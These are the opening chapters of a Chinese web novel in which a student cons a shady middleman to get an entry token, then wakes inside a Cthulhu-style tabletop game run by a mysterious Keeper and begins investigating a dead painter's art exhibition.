《我不当刁民好多年[无限]》
1. 开端
老张推开门的时候,正撞上那闻声投来的视线。
单间里只坐了一个人,对方如他要求的那样孤身赴约,此刻怯生生地坐在座位上。
当然,他也不至于难为个年纪不大的小姑娘,定的这家茶室就在半废弃的商业街上,虽然冷落,但也算有人来人往。
这也没辙,老张——或者说张明栋,做的生意不是那么见得了光。一方出钱另一方办事,两边互不露面,他负责当中间的接头人,用他们的话来讲就是“引子”。
张明栋在这行当干了十多年,还从来没看走眼过。
只是今天的对象实在特别。
对方瞧着不会超过二十岁,这年纪搁外头随便放在哪都还是活泼无知的邻家少女——其实她自己也是。
少女乌黑的中长发在肩后用一圈圆珠发绳扎成了低马尾,发梢烫过波浪卷,更显一分俏丽。她五官娟秀,只有一双眼睛略显狭长。
瞳色要比常人更浅些,眼角微微下垂,眼尾斜而上挑。
典型的狐狸眼。
本应有的妩媚却被那双眼里的局促不安冲淡得几近于无,着装看得出来今天有往稳重的方向努力过,可一举一动都透出标准的学生气,连刚刚他突然开门都能让她吓了一小跳……
张明栋开始怀疑这受托人到底能不能担当“重任”了。
“张叔,”对方急忙站起来迎他,“您来啦。”
他随意摆摆手,“你坐你的。路上有点事耽搁,等久了吧?”
“也没有。”
少女不好意思地笑笑,“随便打发了下时间,外面的鸟叫还挺好听的。”
“鸟叫?”张明栋拉开对面的椅子,脸上是他最擅长的亲切笑容,“你这丫头有意思,我进门前可被树上那堆知了吵吵得头疼。”
“那张叔喝杯茶去去火?”她也反应快又知礼,提起桌上茶壶,帮他倒了杯现成的铁观音推过来,“我刚让送来的。”
一小截细细的红绳跟着她的动作从领口滑出来,又被她整理回去,应该是戴了什么,张明栋也没在意。
倒是懂事。
他点点头,端起茶杯,也不喝,只让还算清澈见底的茶水碰了碰嘴皮,“你妈妈的病怎么样了?”
少女勉强笑道:“最近气色好多了,但医生还是建议尽早手术,越快越好。”
像这样医生催着手术,又拖着做不了的,多半只有一个原因。
——钱。
张明栋当然有理由因此挑中她。
眼前的少女叫祝槐,人就在本市读大学,今年刚上大二。据她说是个孤儿寡母的单亲家庭,当爹的早年不知所踪,独身拉扯女儿长大的妈也在半个月前因为单位体检时的意外发现而确诊入院。他查过了在医院的档案,是三期癌症。
母女的积蓄够孩子上学,对付起大病大灾就只能拖一天是一天了。为了拼凑起这笔手术费,女孩病急乱投医,辗转托人求到他这儿来,不是走投无路也不至于到这一步。
单亲家庭急需用钱,唯一的亲人重症在床,用不着担心携款跑路,张明栋最后一丝犹豫也在亲眼见到其人后消失得一干二净。
反正能力都在其次,客户的要求只有一条——好拿捏。
而卡住她命门的关键,此时此刻就被她自己问出了口。
“可以先问问张叔您,我能拿到多少吗?”
张明栋不紧不慢地放下了茶杯,张开右手。
不等对方猜测,他道:“五十万。”
少女在他说出这个数字的下一秒倒吸了一口凉气。
从来没有天上掉下来的馅饼,她的神情还未转为喜悦就被迟疑和警惕取代,“那……我需要付出什么?”
“放心,”张明栋一笑,“不是违法犯罪的事。”
不然也不会找上个白纸一张的大学生。
他把从包里摸出来的小玩意拍在桌上,在接触的瞬间就发出了金属的脆响。
张明栋:“你只需要参加一个游戏。”
“……游戏?”
祝槐向前微微倾身,恰逢她口口声声的“张叔”把那东西往这边推了推。
那是张金属制的卡片,极窄,就两指来宽,长度也不过十来厘米,更像是铭牌。
上面没有刻任何字样,只浮现出隐隐约约的暗纹,看不出是用怎样的工艺雕出来的,但……光是瞧着,就让人本能地感觉到不对劲。
“你拿着这个就行,”张明栋说,“具体什么时候参加,会有人来联络你的。”
这……
祝槐:“不用注册账号或者登记住址什么的吗?”
无论是线上还是线下,总得有一个参与途径吧?
这潜台词明晃晃写在她脸上,张明栋笑了声,“不是网上的,跟你们小年轻平时玩的游戏不一样。别的也不用,我这不是有你电话吗,到时候直接用那个联系。”
他纯属信口胡诌了。
其实老张自己也不清楚那金属小卡片到底是什么功用,以客户的说法,他只管找个听话的拿上个三天,别的一概不用理会。
但现在可不能这么说。
他眼见祝槐将信将疑地拿过了卡片,自觉也甩掉了个烫手山芋——他可不想因为没有及时脱手而变成那个倒霉蛋。
“张叔,那个……我再多问一句,”少女说到这里,似是忍不住抖了一下,“你说的游戏,应该不是那种杀人,或者,生存游戏吧?”
他怎么知道。
张明栋打趣地问:“平时爱看恐怖片?”
“不至于让你丢了命,我也说了不是违法的那种,更具体的不好透露。”
他收起笑来,淡淡道:“风险肯定有,五十万嘛,有风险才有收益不是?”
祝槐没说话,深呼吸。
哪怕真是买命钱,以她的处境也值了。
“……嗯,我知道了。”她应声。
“还有一个要求,”老张取出文件夹,将里面的唯一一张纸在她面前展开,“如果见到有这个图案的东西,把它带回来。”
祝槐眨了眨眼,茫然低头。
状若粗犷的线条凌乱勾勒出一个大致的圆,位居正中的却是个扭曲的五角星,而五角星中央的纹样像是火焰又像是眼睛。
“东西?”祝槐问,“什么东西?”
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“不管是什么。”张明栋说,“张叔帮你争取过了,那边说可以先预付二十五万。等你把那个东西带回来,再付你剩下的一半,留个卡号吧。”
显然,不管那个游戏究竟风险如何,对已经得铤而走险到这份上的少女来说都无异于解了燃眉之急。她一下子从桌后站起来,连连鞠躬道谢,然后才报上了一串数字。
张明栋也爽快,当场拿出手机操作,不一会儿,祝槐身边就“叮”地响了几声。
她打开挎包,先认认真真地用纸笔照样画下那个图案,这才取出自己的手机查看。她的手机是几年前的款式了,瞧着材质当时买也不会超过千把来块,张明栋再次心道难怪得搅合到这破事里来。
不过嘛,他是个商人,哪来的多余同情心。
看账目上多出的一连串零,祝槐松了口气,由衷道:“谢谢您了,其实我妈妈过两天还要做个检查,我们连这个钱都——”
“本来想问能不能提前预支一点,没想到……真的,谢谢。”
她那不掺一点杂质的感激目光倒真难得让张明栋这同行内有名的黑心商人一时间有点束手束脚、不知该往哪放,虽然也就那么短短几秒。他说:“行了,今天就到这吧,有什么也随时可以问我,我帮你跟客户接头。”
“好,”祝槐笑笑,“那张叔再见。”
她眼神真诚,一笑起来就更显纯粹。张明栋等她离开包间,慢悠悠地点了支烟,小姑娘长得挺好,念的大学也是本市重点,要不是她妈这一场病,以后的日子估计过不差。
可惜了。
八成得是个栽在里面的。
哪怕他不清楚那所谓“游戏”的具体门道,五十万这个价放在这,也知道肯定比自己刚才形容得危险得多。天真有时候也是种罪过,这么直接进去,那就是个饵,能被吃得连骨头渣都不剩。
他弹弹烟灰,吞云吐雾了一会儿,开始着手告知另一头交易成了。
祝槐主动去前台那结了账,手头宽裕了就要有知恩图报的样子。
大堂冷气开得很足,她一推玻璃大门,顿时感觉滚滚热浪迎面而来。
三伏天正是最热的时候,街上完全没有行人,祝槐抬手去遮太阳,出门才走两步,果然听见阵阵争相“滋儿哇”个不停的聒噪蝉鸣。
她不以为意,继续向前走,远远地能在高楼间隙看到招牌上的红十字——如果她告诉老张的是真话,“她妈妈”应该住在那家综合医院。
祝槐没有急着收回视线,她瞧见了不远处树梢间蹦跶着的黄黑相间的小小影子。
看来她听到的鸟啼不是错觉。
来觅食的黄雀毛茸茸又溜圆,今天似乎也是满载而归,正一声声欢悦地叫着。
祝槐忽然笑了一下。
新转到卡上的二十五万确实让她很满意。
她抬手理了下耳边碎发,整个人的气质就在那短短两三秒里变了。
上挑眼梢带出一种别样的漫不经心,她余光瞥向早已被落在身后的茶室门牌,看到那里依然没有其他人出来后,戴上放在包里的帽子,压低了帽檐。
她头也不回地离开了商业街。
2. 赌局
[Tikby]:张叔,已经两天了,什么时候才会有消息呢?
[老张]:不急,你先等着,听说一般是差不多三天后。
手机屏幕的莹莹微光映在祝槐眼里,她胳膊肘支着桌子,另一只手托脸,单手挑好听的敲字回复。
出租屋空荡荡的,卧室里除了桌椅和床这样的家具以外只有一台黑着屏的电脑,还能再添点人气儿的就是墙上贴的几张剪报。
简短的谈话以她讨巧的问候作结,祝槐把手机推到一边,食指指尖在桌面上敲敲打打,目光又落在旁边的金属卡片上。
她都快把它盯出个洞了,也不见它能生出个小卡片来。
辛辛苦苦骗——不是,搞来的游戏名额不会是假的吧?
装成孤儿寡母出身的女大学生,她的真正目的不是这点钱,而是那个好奇已久的所谓游戏名额。
祝槐通过自己的渠道听说了它,这才伺机接近老张一伙人,顺道白嫖了个五十万——她本来觉得稳赚不亏来着。
还亮着的手机屏幕显示时间是晚上十点了。
张明栋的微信名字就叫“老张”,祝槐估摸着平时接活都是这么称呼,至少把他介绍给她的人当初是这么说的。
老张嘴上说得信誓旦旦,可这已经是第三天了,三天的时间里,她电话没有响起一声,门也不见被敲过。祝槐眼巴巴等了两天,今早上出门的时候终于瞧见自家门上多了点东西。
再一看,好家伙,清洗空调的小广告。
她无语两秒,揭下那斗大的电话号码,团吧团吧,抬手往垃圾桶里丢了个完美的三分球。
再等就等到了现在,战线拖得太久,祝槐连紧张都紧张不起来,干脆起身出去把收拾好的背包拿进了屋。
和她之前和老张碰面时带的不是一个,这个纯黑色的背包更小也更贴身,在设计上完全就是为了方便行动而打造的。
她拉开拉链,将里面的东西重新清点维护了一遍。
祝槐平日人缘不错,朋友里爱好什么的都有,当然也不乏喜欢户外运动的,她因此成功在短时间内搞到了还算齐整的装备。
打火石、鱼钩鱼线、套索、装了抗生素止痛药之类的小药瓶……祝槐小心地把弹性锯条塞进背包侧面,随意扫过去的视线突然停住了。
她三步并作两步地赶到桌边,一把抓起了刚才还毫无动静的金属卡片。
卡片上清晰地刻着四个数字。
——1104。
祝槐:“……”
她进房间还条件反射地看了它一眼,那时候上面光洁如新。后面全程都在边上,结果变化来得就这么无声无息。
“这算什么?”
她翻过来覆过去地打量卡片,确认只有一面刻上了数字,自言自语道:“进入游戏的编号吗?”
祝槐按亮手机去看时间。
23:55。
这倒计时一般的既视感……
她揽着包带,把金属卡片藏进衣兜,看着屏幕上的时间一分一秒地走。
还有四分钟。
离零点越来越近了。
23:59。
她在心里估算着秒数。
十。
九。
几乎是在“九”这个数字浮现的下一秒,祝槐的脑袋无端地刺痛起来。
眼皮越发沉重,眼前的一切晃成了重影,任凭她再怎么咬紧牙关,也无法抵抗住径直压下的那股昏沉。
她最后来得及做的事,只有死死抓住包带。
0:00。
这串数字映入眼帘的同时——
祝槐彻底失去了意识。
*
垂落在扶手旁的葱白指尖忽地颤动了一下。
它主人的另一只手软软搭着双膝,墨黑的风衣衬得肤色越发白皙,再往上的胸口起伏着。额前的凌乱发丝遮住了双眼,却能清晰地看出下巴那一抹姣好的弧度,唇瓣微微抿着,像是被困在什么让人难安的梦境里无法自拔。
半晌,她搭在膝盖上的那只手猛然揪紧了布料——
终于从那漫长的黑暗中挣脱出来的祝槐蓦地睁开了双眼。
她的眼睛没有被本该存在的白亮灯光刺痛。
祝槐条件反射地伸手,意料之中地摸了个空。
……她什么也没能带进来。
出现在她面前的,是一张钉在墙边的方桌和色调沉闷的紫红壁纸,桌边还摆着张立式菜单和显然是用来打发时间的社会杂志。
“这是怎么回事?!”
身边霍然响起一声尖叫,祝槐飞快地转头看去。
这狭小的包厢里除了她以外还有两个人。
那二十岁出头的女生长相清纯,脸色苍白如纸,只有咬紧的嘴唇还有点血色,眼睛也红了一圈。她旁边的青年同样是手足无措的模样,瞧上去也是大约差不多的年纪,黑发乱糟糟得有如鸟窝,他长得还成,但也没什么让人印象深刻之处,属于扔进人海里一眼就能望不见的类型。
三人面面相觑,恰逢此时,脑海中突兀响起的声音止住了祝槐就要出口的话。
【各位调查员,欢迎来到这场游戏。】
那声音非男非女,无关年纪,却莫名透出了一丝愉悦。
只消看那两人的神情,祝槐就知道他们也听到了这声音。
女生:“调、调查员?”
她的脸上满是茫然。
【你们的任务就是查出将要面临的怪奇事件背后的真相,也只有这样,你们才能脱离这里——确切地说,这个世界。】
“这个世界?”青年的喉结滚动着,结结巴巴地反问,“你的,你的意思是我们已经不在原来的……?”
【是,也不是。】
那声音继续道。
【存在于这个世界的只有你们的精神,不过,一旦真正死亡,同样无法复活。】
平地一声雷。
另外二人脸色苍白,祝槐打破了这蔓延于恐惧的沉默,“你说真正死亡?”
就像是为了奖励她如此之快地抓住重点,对方轻笑一声,他们面前霎时出现了一个游戏窗口似的虚拟光屏。
《规则》——
1.扮演好你的角色。
2.禁止在其他玩家以外的NPC面前做出“超游”行为。
3.在真正死亡之前,你有三次机会。
……这规则简单过头了。
祝槐虚心发问:“什么是超游?”
“这个我知道,超出游戏思维。”鸟窝青年听到熟悉的字眼,为了找回实感似的急忙解释起来,“一般是用在桌游——就是桌面角色扮演游戏里的,简单说的话,玩家知道但是扮演的角色不应该知道的事,如果角色在游戏过程中表现出来了,就叫做超游。”
“所以,”另一个女生皱起眉,“我们还有各自要负责的角色?”
那声音默许了鸟窝青年的解说,此刻又道。
【你们每人都有一张角色卡,上面写明了你们的身份和具体设定。】
三块散发着淡淡微光的光屏分别在他们面前徐徐展开。
【由于三位都是第一次参加游戏,为了方便代入,基础的属性数值参考你们自身而定。数值从1到99,越高说明层次越强。】
祝槐暗暗扬眉。
……还挺人性化。
玩家本人的角色卡到了别人眼里似乎就是一片模糊的马赛克,她不着痕迹地收回视线,看向自己面前的那个窗口。
姓名:斯卡蒂·格雷
玩家:祝槐
职业:私家侦探
年龄:22岁
背景:你是一名背井离乡、独自来到马萨诸塞州开办事务所的侦探。
家人不理解你的追求,你近乎和他们断绝了关系。好在昔日同窗伸出的援手帮你度过了最艰难的时期,解决了几桩案子后,你事务所的生意可以说是蒸蒸日上。
于是,为了庆祝这次假期,你们这几个老同学来到了隆伦镇旅游散心,恰巧这里正在举办画家韦恩·埃文斯的个人画展。来都来了,不去看看岂不是很可惜?这么想着,你们买下了画展的门票,欣然准备前往。
祝槐:“……”
瞧瞧,瞧瞧这万能的送命借口。
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右边标明她的HP(血量)为10,祝槐猜测可能和下面的属性数值有关。
力量:40(连普通人都比不上的手无缚鸡之力)
体质:50(大病得不了,偶尔感感冒)
体型:50(不高不矮的人类标准线)
敏捷:45(体测跑八百米肯定不及格)
外貌:80(你有着天然的吸引力,可以轻易打动别人的心)
意志:70(我的老天鹅啊,你是什么铁石心肠)
祝槐听见旁边的女生在嘀咕:“意志、教育、智力……幸运?这都什么跟什么啊?”
她只是大致扫了眼剩下的几行数值,然后就注意起最意义不明的一项来。
——SAN值:40。
“劳驾……请问,”祝槐抬手,“‘SAN’是‘Sanity’的缩写吗?”
KP肯定了她的询问。
【没错,SAN值代表你们的理智。SAN越高,精神状况就越稳定。】
【今后你们会见证各种各样的怪奇现象,除此以外,杀人或目睹杀人现场、加诸于你们自身的痛苦经历也会令SAN值降低。请注意,SAN值一旦清零也等同死亡。】
那个声音稍稍停顿了一下。
【在不同场次里,你们也可能会被分配到不同的角色卡。玩家一共有三次机会,当第三张角色卡死亡——也可以称之为第三次“撕卡”——玩家就会迎来真正的死亡。】
“说了半天,”鸟窝青年警惕道,“你还没有说过你是谁吧?而且说到底,我们为什么会出现在这里?”
【难道你们自己不清楚吗?】
对方慢悠悠的反问一下堵住了他的后半句质疑。
【至于我,是这场游戏的主持人。】
【“Keeper”,意为“守密人”。你们可以直接称呼我为“KP”,我所负责的是把握游戏进程、监督你们是否依照游戏规则行事,以及在恰当的时候通过技能检定给予你们机会和提示。】
祝槐没出声。
机会是KP给予的,那危险呢?
另一个女生已经对这接连不断的陌生规则消化得有点吃力了,“技能检定又是……”
【你们各自的技能数值就记载在角色卡的下半部分,和属性一样,从1到99是由低到高。侦查、斗殴、医学、说服这些技能有时候可以用足够的行动来代替,但有些时候就必须通过检定来判断成功与否。】
祝槐:“检定的方法是?”
【掷骰。】
KP话音刚落,他们眼前立刻出现了两颗旋转着的虚拟多面骰。
两颗骰子颜色不一,但十个面上都分别写着1到10这十个数字,那旋转的速度由急及缓,等到终于停下来,正朝上的那两面刻着的数字是“1”和“6”。
【终日打雁的人也会被雁啄了眼,技能是你在这方面的擅长程度,掷骰就意味着你进行这一举动时的运气成分。黄色的骰子代表十位,绿色的代表个位,这是16,如果你的技能数值是60,像这样低于技能数值的骰点结果就可以视为成功。】
【掷骰的结果完全随机,哪怕是KP也会在一定程度上受到骰子的掣肘,因此你们不需要担心公平性。至于怎么骰?动动你们小脑瓜里的念头就行了。】
【基础规则介绍完毕,当你们踏出这间包厢的那一刻,游戏就会正式开始。】
【我亲爱的调查员们,享受这场游戏吧——只要能调查出真相,一切任你们随意发挥。】
绝望吧,挣扎吧。
潜藏在深处的黑影暗暗发笑。
被真相与死亡带来的庞大恐惧所倾轧,这是人类殊途同归的命运。
【还有什么想问的吗?】
怎么会没有。
在场的每个人都积了满肚子的疑问,突然被拉到这种地方来,张皇与难以置信,这都是人之常情。
然而,这么一片可怖的寂静中,祝槐眨了眨眼睛。
“我有。”
她小心翼翼地、无害地问。
“您刚才说,‘随意发挥’,这是真的吗?”
3. 风信子(一)
KP回答得毫不犹豫。
【当然,这不是开玩笑,我也没有欺骗你们的必要。】
这种时候还问的是这样的问题,另外两人盯着祝槐的神情不由也怪异起来。
后者示意自己没有别的问题了,让他们继续问。
最后还是看起来对这种游戏形式更有点头绪的鸟窝青年开了口。
“呃……既然说是禁止,那如果违反会怎么样?”
【违反规则依然会有相应的惩罚,具体视程度而定。】
另一个女生:“最轻的呢?”
【电击。】
KP和善地说。
三人:“……”
那可真够“轻”的。
“……还有,”鸟窝青年道,“我们还回得去吗?”
这才是最重要的。
【每完成一个模组——或者以你们更通用的说法,“剧本”,可以返回现实度过一周到一月不等的时间。至于彻底脱离,那就看你们之后的表现了。】
【现在嘛,无可奉告,毕竟这只是个新手模组。】
话虽如此,祝槐见他们俩明显松了一口气。
“我也想问,”长相清纯的女生深呼吸,“只有玩家要遵守规则吗?”
她问得大胆,KP轻笑了一声。
【规则是玩家和主持人共同的行事准则。】
“也就是说。”
祝槐插话:“规则是凌驾于你之上的?”
【是,只要一切没有超出合规合理的范围,主持人没有额外插手的权力。】
“我明白了。”祝槐回答,“不好意思,刚才漏问了一件事。”
“既然掷骰结果是1到100之间的随机数字,那么,如果出现点数极端的情况呢?”
KP沉默了一下,似乎没有想到她会这么快问到这点。
【问得不错。】
【骰子点数低于技能的二分之一是困难成功,低于五分之一是极难成功——不过,除非特定要求,一般不用考虑这些。】
【至于‘极端骰点’,出现1到5视为大成功,96到100视为大失败。字面意思,两边都会导致远超于预期的效果。】
虽然不一定现在就用得上,但这又是一条有备无患的情报,那两人看她的眼神又有了点变化。
祝槐干脆主动伸出了右手。
“做个自我介绍吧。”
她笑道:“我叫祝槐,学的刑侦,上个月刚毕业。”
不管是她的友好态度还是这预备役——也可能是现役——的身份,都无疑令紧绷的气氛松缓了些,另外两人先后迟疑着跟她轻轻握了下手,也有来有回地介绍起自己。
“我叫……”鸟窝青年停顿一下,挠挠自己凌乱的头发,“谷源,在……现实里是个程序员。现在的身份是你们的高中同学,在波士顿一家报社供职的记者,这次是休年假来跟老同学聚聚来着。”
“路婉婉。”
那女生也说:“就读的是医学院。”
她沉默了一下。
“……两边都是,”路婉婉忧郁地说,“两边都没毕业。”
她立刻收获了两人同情的目光,尤其是谷源,他下意识摸摸自己的头发,看向路婉婉的眼神那叫一个“同是天涯沦落人”。
“那么最后是我。”
“私家侦探,事务所好像是在你们两个的支持下办起来的。”祝槐笑着耸耸肩,“请多指教啦,‘老同学’。”
她的视线转了一圈。
她的两位“老同学”,对现状也接受得很快嘛。
在本名之后,他们又互通了角色卡上被分配的“姓名”,然后就是各自对身上的一通检查。三人的随身物品大同小异,除了手机钥匙之类基础的几样和大家都有的画展门票,差别无非是作为医学生的路婉婉多了个小急救包、作为记者的谷源有台相机,至于祝槐这个当侦探的……
“我宁愿跟你们换换。”
祝槐收好留在桌上的杂志,看着手里的笔记本和笔,诚恳地说。
谷源:“……”
路婉婉:“……”
确实,这年头纸笔比不上手机好使。
“咳,到时候一起用呗。”谷源大方地一挥手,又小心翼翼道,“出发?”
路婉婉点了点头。
该确认的都确认过了,手机在这个包厢里也没有信号,估计得到了外头才能用。
——用“KP”的话说,游戏正式开始。
“出发。”祝槐扶上门把,回头一眨眼,“多担待啦。”
就在她推开门的那一刻,KP的声音又在他们脑海中响了起来。
【欢迎来到这个世界。】
然后,仿佛在一瞬间——
原本寂静一片的门外活泛起了人声。
他们所处的餐厅包厢的桌子上也几乎在同时出现了大大小小的碗盘,有的空了有的没有,俨然一幅刚刚聚餐完毕的景象。祝槐马上反应过来,这应该是用来让他们三个老同学汇合的设定。
从菜色就能看出餐厅生意不错,他们定的这个包厢临近大堂,不远处就有服务员和顾客在来来往往。
……路人也算NPC吗?
“难得聚一次,我请客。”
祝槐扬扬手里的钱包,“对了,咱们几个再没艺术细胞也好歹在开始前补补课吧,省得到时候进去这也不知道那也不知道地丢人。”
还没适应过来的谷源:“诶……”
“说的是啊!”路婉婉马上拍了他胳膊一下,“那我们马上就过来,边收拾边查——哎,下次我可得请回来啊!”
见对方听懂了自己的意思,祝槐笑笑就往收银台那走去,一边注意着行人,一边也摸出手机查起了那画展的资料。
他们刚看过自己手里的门票,上面只写了画家的名字是韦恩·埃文斯,再就是举办的地点和时间——在几个小时前已经开始了。
祝槐在包厢里瞧着手机没有信号,就干脆用前置摄像头确认了下自己现在的样子。
她在看到对面俩人的样貌时就有了猜测,再一看自己,果然不出所料。正如那些属性,这张“角色卡”的长相也是大致按着本人来的,只在五官的细节上有略微偏差,看上去像是中外混血。
她都能想象得到三人在高中是为什么熟起来的了。
……抱团嘛。
信号在游戏开始后一下子满了格,页面上迅速刷新出了她意料之外的新闻。
是韦恩·埃文斯的讣告。
百科上说埃文斯年少成名,画作早早就拍卖到高价,然后便沉迷花天酒地不说还磨没了灵气,江郎才尽后就再没了声讯。
埃文斯一生未娶,去世后人们去收拾遗物才发现他在晚年反而拾回了才华,别墅里堆了不少惊艳的画作,干脆经过亲属同意以他的名义办了这场画展,所得收入全部捐给福利机构。
……只能查到这些?
祝槐试着在心里叫了一声KP。
KP的声音立刻在她脑海里响了起来。
【啊——想知道更多的也不是不可以,但是就像我刚才说的,需要进行一次图书馆使用检定。】
“也就是说这个技能并不真的限定在图书馆里使用,”祝槐默默在心里问,“适用于查一切资料?”
【可以这么认为。扔骰子吧。】
祝槐回想起对方的说明,试着动了一下念头。
她眼前果真立刻浮现出两颗骰子的虚影,在弹跳与旋转之后,它们停下的两面上,代表十位的是“9”,另一个是“7”。
而她的图书馆使用技能数值是70。
——掷骰结果,97/70,大失败!
祝槐:“……”
KP:“………………”
“KP,”祝槐发自内心地问,“你在控骰吗?”
KP:“???”
……控个锤子啊!这他妈你自己扔出来的啊!!!
【我可不会闲着给自己找工作量。】
她怎么听怎么觉得那声音有几分咬牙切齿。
【现在处理你的大失败。】
祝槐马上就知道了是怎么个“处理”。
……以及大失败的后果。
她手不由自主地一滑,碰到了旁边小广告的窗口,正显示着网页的手机屏幕在一瞬间被无数病毒弹窗占领,直接卡死成了白屏。
祝槐:“…………”
她心情复杂地收起手机,老老实实走向柜台打开了钱包。
刚走出包厢的两人正好看到她结完账后欲言又止的模样。
谷源:“……这是咋了?”
“思考了一下人生。”祝槐深吸一口气,“你们补课补得怎么样了?”
二人对视一眼,立马神秘兮兮地凑了过来。
谷源:“一点独家秘闻。”
“听说韦恩·埃文斯临死前完成的那幅画作才真正是集大成之作,”路婉婉耸肩,“这次可能会放在独立展厅里展览。但是独立展厅好像到现在也没有开放,所以只能说是不知真假的小道消息了。”
……人家这一看就是图书馆成功了。
“还有这种事?”
在场唯一大失败指定受害者面无异色地把手机又往包里塞了点,“那咱们也赶紧去看吧。”
他们聚餐的餐厅和美术馆就在同一条街上,美术馆用矮篱笆圈出了一片庭院,花花草草长得得不错,可惜从外看就不怎么大的展馆生意多少有些零落,大门口只排了稀稀落落的几个人,保安无精打采地杵在那儿一个个检票。
谷源正准备过去排队,就被祝槐给拦了下来。
“反正也就这么点人,不用急。”她兴致盎然道,“先在外面看看那个展厅在哪儿?说不定是独立出来的户外展室呢。”
在其他行人看不见的角度,另外俩人瞧见她悄悄做出的口型。
——后、门。
……!!!
他俩立刻会意,这美术馆十有八九有问题,虽然现在扮演的“角色”不知道,但没有借口制造借口也可以绕这里转一圈,而所谓的“独立展厅”就是最好的借口。
高,实在是高。
“对哦!”路婉婉浮夸地配合,“我看他们在网上说得神神秘秘的,真的让人很好奇诶。”
谷源在那唱白脸,“哎,进去不就知道了,不过既然你俩好奇,转转就转转呗。”
“说起来,跟你们讲过我上次的委托吗,最后查出来居然是过失纵火。”祝槐还嫌指向不够明显,“搞得我都有点阴影了,美术馆应该尤其得注重消防吧,以前没留心过,这下可以好好看看了。”
这下几乎是明摆着在说——快告诉我消防通道在哪了。
KP:“……”
他怎么就给自己递刀了?
沉默半晌,终于传来KP咬牙的声音。
【……你们进行一个幸运检定。】
“如果是只需要一个人,”谷源主动自荐,“我来吧,我幸运70呢。”
两个女生都没有意见,他也就欣然撸起袖子开干,两个骰子落在面前虚空,祝槐一眼就看到了旁边显示的两个小小数字。
原来在队友面前掷骰会显示技能数值啊。
[艾德蒙(谷源)]的幸运检定,32/70,困难成功。
【那么……】
在KP的旁白解说下,他们的目光也在散步溜达中穿过了树篱。
【你们绕过美术馆半圈,虽然没能找到那个独立展厅,但是看见了兼作消防通道的员工出口……以及在那里的人。】
正在后门口探头探脑的男人其貌不扬,穿着明显是馆内的员工制服,神情慌张,也没注意到这边,急急忙忙地就往外走。
以他们的距离根本赶不上他,只得眼睁睁看着对方消失在街角。
“KP,”祝槐瞄了一眼自己的角色卡,“我可以主动用技能吗?”
【当然可以。】
祝槐:“那我想用心理学,判断他现在可能的状态。”
那两颗骰子立刻出现了。
[斯卡蒂(祝槐)]的心理学检定,67/80,成功。
祝槐讶异地挑挑眉,整理起突然出现在自己脑中的情报。
……脚步虚浮凌乱,眼神涣散,可能是做贼心虚,也可能是想要急着逃
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离什么地方。
她推了推鼻梁上并不存在的眼镜。
“我刚刚注意到一个问题,”祝槐缓缓地说,“角色卡上并没有要求我们的性格。”
【没错,因为不过是新手关卡,所以只给出了人物背景,其他的就由你们自己——】
“我是一个极具正义感的人。”祝槐打断道。
队友:“……”
KP:“……”
你刚说你是个啥???
“我,斯卡蒂·格雷,眼里容不下一粒沙子,宁可错抓不可放过。”她义正辞严地说,“我怀疑那个员工偷了或是损坏了馆里的东西畏罪潜逃,绕回正门找保安太慢了,我现在就要找其他工作人员问问怎么回事。”
话音未落,她就毅然决然地推开了栏杆门。
路婉婉反应过来,赶紧追上去,“哎,凯蒂,凯蒂——”
谷源:“……”
他现在真的很好奇那位看不见的KP有没有冒烟。
俩队友都上了,他当然也得跟着,那急匆匆出逃的员工给栅栏留了道缝又被祝槐推得大开,他们毫无阻碍地走上了通往后门的石子路。拳头大的鹅卵石间隙处长了些杂草,在踩踏下不住沙沙作响,尽头就是几节石阶,以及在上面的半开着的铝合金门。
“这——”最后一个进来的谷源嘴上迟疑,身体很诚实地把门给掩上了,“会不会不太好?”
“我们又不是来捣乱的。”
祝槐满不在乎,“碰到人跟他们说声情况就行了呗。”
当然,这是他们的“角色”该有的想法。
可能是为了节约用电,后门这里的灯光不算明亮,倒也恰恰衬得地上的灰色薄地毯更干净了。空气中漂浮着一种印刷品和油彩特有的气味,走廊也很寂静,虽说美术馆内本就该保持安静,但静到这份上未免让人有点误入异次元的感觉了。
他们经过了零星几扇门,祝槐秉持着人设挨个敲过去却无一应答。
路婉婉奇道:“真就连一个人也没有啊。”
“都在前台忙吗?”谷源忍了又忍才把下半句“这画展生意也没好到这地步啊”给憋回去,“再往前走走?”
祝槐没有回应他们,目光定格在了刚刚敲过的那扇门前的角落。
另两人察觉到她的异样,也纷纷望过来。
不看还好,这一看——
谷源瞬间倒吸了一口凉气。
纵使光线昏暗,在那里的痕迹一经注意到便不可能再忽视——一抹鲜红留在地毯旁边的瓷砖上,仿佛是不小心滴落在那里的。
死一般的寂静。
路婉婉下意识做出了最有可能的判断,“这是……血?”
祝槐也不急,往包里摸了摸,这时候倒应该感谢自己的职业了——她戴好摸出来的一次性手套,去轻轻沾了一点那“液体”。
“不,可以放下点心了。”她捻了捻指腹,“好像是没干透的颜料。”
这时。
“你们在做什么?”
从不远处传来的男声清朗悦耳,三人循声望去,顿时又是一片哑然。
——他长得实在是太好了。
缓步走来的金发青年眉眼清俊,鼻梁挺拔,却又因光线笼上的一层淡淡阴影而显出了点不可捉摸的危险感。
这好看是夸张到放在电影里一出场就知道“这肯定是个重要角色”程度的好看,而他们恰恰就是在准备好的剧本里。
几人同时意识到了问题的严重性。
连样式普通的西装在他身上都被穿出了截然不同的气场,那双碧绿到透亮的眼睛警惕地打量着他们。
“你们是外面的人吧,怎么会出现在这里?”
谷源连忙解释:“我们刚刚看到有人穿着馆内的制服从后门出来,他太鬼鬼祟祟了,所以才——”
“哦,”对方显然不信,“他长什么样?”
谷源:“……”
他哑巴了。
他们当时离那么远,看清对方的时间拢共就两三秒,怎么可能说得出具体特征!
KP幸灾乐祸的声音响起来。
【擅闯馆内后门还说不出个所以然,要想不被当成小偷,过一个交涉技能的检定吧。当然,也要做出相应的表演。】
三人:“……”
这是倒打一耙!!敢情在这儿等着呢!!!
祝槐瞥了一眼因念头自动浮现出来的角色卡。
交涉技能一共分四个——恐吓、话术、说服以及魅惑,方式恐怕也顾名思义,而数值更是个大问题。
谷源大概也想到了一块去,赶紧冲她俩使了个眼色。
“我骗你干嘛啊,”他果断采取行动,“你看我们这两手空空的也不像是进来捞什么的对吧?你实在信不过就报警,反正我们问心无愧。”
[艾德蒙(谷源)]的说服检定,84/60,失败。
三人:“…………”
喜提失败的记者赶紧冲队友比口型:“这下咋整?”
青年瞧着他们的表情越发不信任。
刚收好手套的祝槐动动嘴角,几不可闻道。
“死马当作活马医。”
她用胳膊肘推推谷源,又抬眼望向青年,歉疚一笑。
“抱歉啊,其实是我的主意,跟他们没关系。”
